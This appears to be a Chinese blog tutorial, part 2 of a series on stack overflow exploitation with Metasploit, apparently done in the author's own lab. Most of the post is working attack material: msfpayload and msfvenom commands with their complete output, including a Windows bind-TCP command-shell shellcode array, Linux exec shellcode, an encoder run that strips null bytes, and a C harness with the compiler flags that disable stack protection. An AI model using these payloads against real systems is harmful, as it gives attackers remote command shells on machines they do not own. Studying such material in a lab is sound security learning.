使用metasploit进行栈溢出攻击-2
基本的栈溢出搞明白了,真实攻击中一个很重要的问题是shellcode生成。
利用Metasploit提供的工具,可以方便的生成shellcode,然后可以使用第一篇中的代码进行验证。
先说一下如何生成shellcode(都是在bt5下生成)。
例子参考来源于:http://www.offensive-security.com/metasploit-unleashed/Msfpayload
查看可用payload:
root@kali:~# msfpayload -l Framework Payloads ( total)
============================== Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/sparc/shell_bind_tcp Listen for a connection and spawn a command shell ...snip...
...snip... windows/x64/shell/bind_tcp Listen for a connection (Windows x64), Spawn a piped command shell (Windows x64) (staged)
windows/x64/shell/reverse_tcp Connect back to the attacker (Windows x64), Spawn a piped command shell (Windows x64) (staged)
windows/x64/shell_bind_tcp Listen for a connection and spawn a command shell (Windows x64)
windows/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell (Windows x64)
windows/x64/vncinject/bind_tcp Listen for a connection (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged)
windows/x64/vncinject/reverse_tcp Connect back to the attacker (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged)
查看具体payload参数配置:
root@kali:~# msfpayload windows/shell_bind_tcp o
Name: Windows Command Shell, Bind TCP Inline
Module: payload/windows/shell_bind_tcp
Version:
Platform: Windows
Arch: x86
Needs Admin: No
Total size:
Rank: Normal
Provided by:
vlad902
sf
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT yes The listen port
RHOST no The target address
Description:
Listen for a connection and spawn a command shell
最后生成shellcode,以上面例子为例,生成c语言可用shellcode:
root@bt:~# msfpayload windows/shell_bind_tcp LPORT= C
/*
* windows/shell_bind_tcp - 341 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=7777, RHOST=, EXITFUNC=process,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x1e\x61\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
当然我们实在linux环境下,需要生成的linux相关shellcode,那么我们以exec payload来生成shellcode:
root@bt:~# msfpayload linux/x86/exec CMD=ls C
/*
* linux/x86/exec - 38 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependChrootBreak=false, AppendExit=false, CMD=ls
*/
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c"
"\x73\x00\x57\x53\x89\xe1\xcd\x80";
好,现在我们就可以在上一节的shell.c中进行验证
#include<unistd.h> unsigned char large_string[];
/*
* linux/x86/exec - 38 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependChrootBreak=false, AppendExit=false, CMD=ls
*/
unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c"
"\x73\x00\x57\x53\x89\xe1\xcd\x80"; void main() {
char buffer[];
int i;
long *long_ptr = (long *) large_string;
for (i = ; i < sizeof(large_string)/sizeof(int); i++)
*(long_ptr + i) = (int) buffer; for (i = ; i < sizeof(shellcode); i++)
large_string[i] = shellcode[i];
memcpy(buffer,large_string,sizeof(large_string));
}
请注意25行,我使用了memcpy替换了strcpy,因为生成的shellcode中有不少00.
同样使用命令编译生成验证:
bai@ubuntu:/mnt/hgfs/r/stack$ gcc -fno-stack-protector -z execstack -g -o shell shell.c
bai@ubuntu:/mnt/hgfs/r/stack$ ./shell
关于如何避免shellcode中包含00,可以使用msfvenom,还以上面的例子为例:
root@bt:~# msfvenom -p linux/x86/exec CMD=ls -e x86/shikata_ga_nai -b '\x00' -f c
[*] x86/shikata_ga_nai succeeded with size (iteration=)
unsigned char buf[] =
"\xdb\xd6\xd9\x74\x24\xf4\xbb\xe3\xa4\x6b\x7e\x58\x2b\xc9\xb1"
"\x0a\x83\xc0\x04\x31\x58\x15\x03\x58\x15\x01\x51\x01\x75\x9d"
"\x03\x84\xef\x75\x19\x4a\x79\x62\x09\xa3\x0a\x04\xca\xd3\xc3"
"\xb6\xa3\x4d\x95\xd5\x66\x7a\xa6\x19\x87\x7a\xc5\x6a\x87\x2d"
"\x46\x05\x66\x1c\xe8";
但是有个问题,生成的shellcode无法利用,会把illegal instruction,引起core dump,不明原因。
使用metasploit进行栈溢出攻击-2的更多相关文章
- 使用metasploit进行栈溢出攻击-1
攻击是在bt5下面进行,目标程序是在ubuntu虚拟机上运行. 首先,需要搞明白什么是栈溢出攻击,详细内容请阅读 http://blog.csdn.net/cnctloveyu/article/det ...
- 使用metasploit进行栈溢出攻击-4
有了漏洞我们就可以进行攻击了.首先我们需要了解metasploit的exploit模块,具体可以看 http://www.offensive-security.com/metasploit-unlea ...
- 使用metasploit进行栈溢出攻击-3
有了shellcode,就可以进行攻击了,但是要有漏洞才行,真实世界中的漏洞很复杂,并且很难发现,因此我专门做一个漏洞来进行攻击. 具体来说就是做一个简单的tcp server,里面包含明显的栈溢出漏 ...
- 使用metasploit进行栈溢出攻击-5
我们先尝试使用这个脚本进行攻击: msf > use exploit/linux/myvictim msf exploit(myvictim) > set payload linux/x8 ...
- [转]现代Linux系统上的栈溢出攻击
1. 基本内容 这个教程试着向读者展示最基本的栈溢出攻击和现代Linux发行版中针对这种攻击的防御机制.为此我选择了最新版本的Ubuntu系统(12.10),因为它默认集成了几个安全防御机制,而且它也 ...
- Linux下基本栈溢出攻击【转】
转自:http://blog.csdn.net/wangxiaolong_china/article/details/6844415 版权声明:本文为博主原创文章,未经博主允许不得转载. 目录(?)[ ...
- [翻译]现代Linux系统上的栈溢出攻击【转】
转自:http://www.codeweblog.com/%E7%BF%BB%E8%AF%91-%E7%8E%B0%E4%BB%A3linux%E7%B3%BB%E7%BB%9F%E4%B8%8A%E ...
- [转]初探Metasploit的自动攻击
1. 科普Metasploit 以前只是个Back Track操作系统(简称:BT) 下的攻击框架,自成继承了后攻击渗透模块,隐隐有成为攻击平台的趋势. 我们都戏称它为美少妇,很简单,msf. 它 ...
- 实验三 kali下metasploit的漏洞攻击实践
一.实验内容 1.使用kali进行靶机的漏洞扫描,利用metasploit选择其中的一个漏洞进行攻击,并获取权限. 2.分析攻击的原理以及获取了什么样的权限. 二.实验要求 1.熟悉kali原理和使用 ...
随机推荐
- ubuntu tftp server config
1.安装tftp-server sudo apt-get install tftpd-hpa sudo apt-get install tftp-hpa(如果不需要客户端可以不安装) tftp-hpa ...
- 推荐几个MySQL大牛的博客
1.淘宝丁奇 http://dinglin.iteye.com/ 2.周振兴@淘宝 花名:苏普 http://www.orczhou.com/ 3. 阿里云数据库高级专家彭立勋为 MariaDB Fo ...
- POJ2976(最大化平均值)
Dropping tests Time Limit: 1000MS Memory Limit: 65536K Total Submissions: 9329 Accepted: 3271 De ...
- HBase之八--(1):HBase二级索引的设计(案例讲解)
摘要 最近做的一个项目涉及到了多条件的组合查询,数据存储用的是HBase,恰恰HBase对于这种场景的查询特别不给力,一般HBase的查询都是通过RowKey(要把多条件组合查询的字段都拼接在RowK ...
- Oracle 高可用作业测试
1.RAC 是一种: A 分布式数据库B 内存共享多节点数据库C 能够保护数据安全的架构 2.RAC 和CRS 的区别是: A 前者表示一种架构,后者是一套软件B 前者表示一套软件,后者是一种架构 C ...
- mybatis---demo1--(n-n)----bai
实体类1: package com.etc.entity; import java.util.List; public class RoleInfo { private int rid; privat ...
- CIA泄露资料分析(黑客工具&技术)—Windows篇
背景 近期,维基解密曝光了一系列据称来自美国中央情报局(CIA)网络攻击活动的秘密文件,代号为“Vault 7”,被泄露文件的第一部分名为“Year Zero”,共有8761个文件,包含7818个网页 ...
- http协议基础教程
引言 HTTP 是一个属于应用层的面向对象的协议,由于其简捷.快速的方式,适用于分布式超媒体信息系统.它于1990年提出,经过几年的使用与发展,得到不断地完善和 扩展.目前在WWW中使用的是HTTP/ ...
- junit4新框架hamcrest的assertThat
assertThat JUnit4.4引入了Hamcrest框架,Hamcest提供了一套匹配符Matcher,这些匹配符更接近自然语言,可读性高,更加灵活 /**equalTo匹配符断言被测的tes ...
- kernel下制作动态logo
kernel下制作动态logo 在uboot中实现logo的好处是反映速度快. 在kernel中实现logo的好处是,不管是android还是什么其他平台,logo显示无需考虑上层平台. 参照三星平台 ...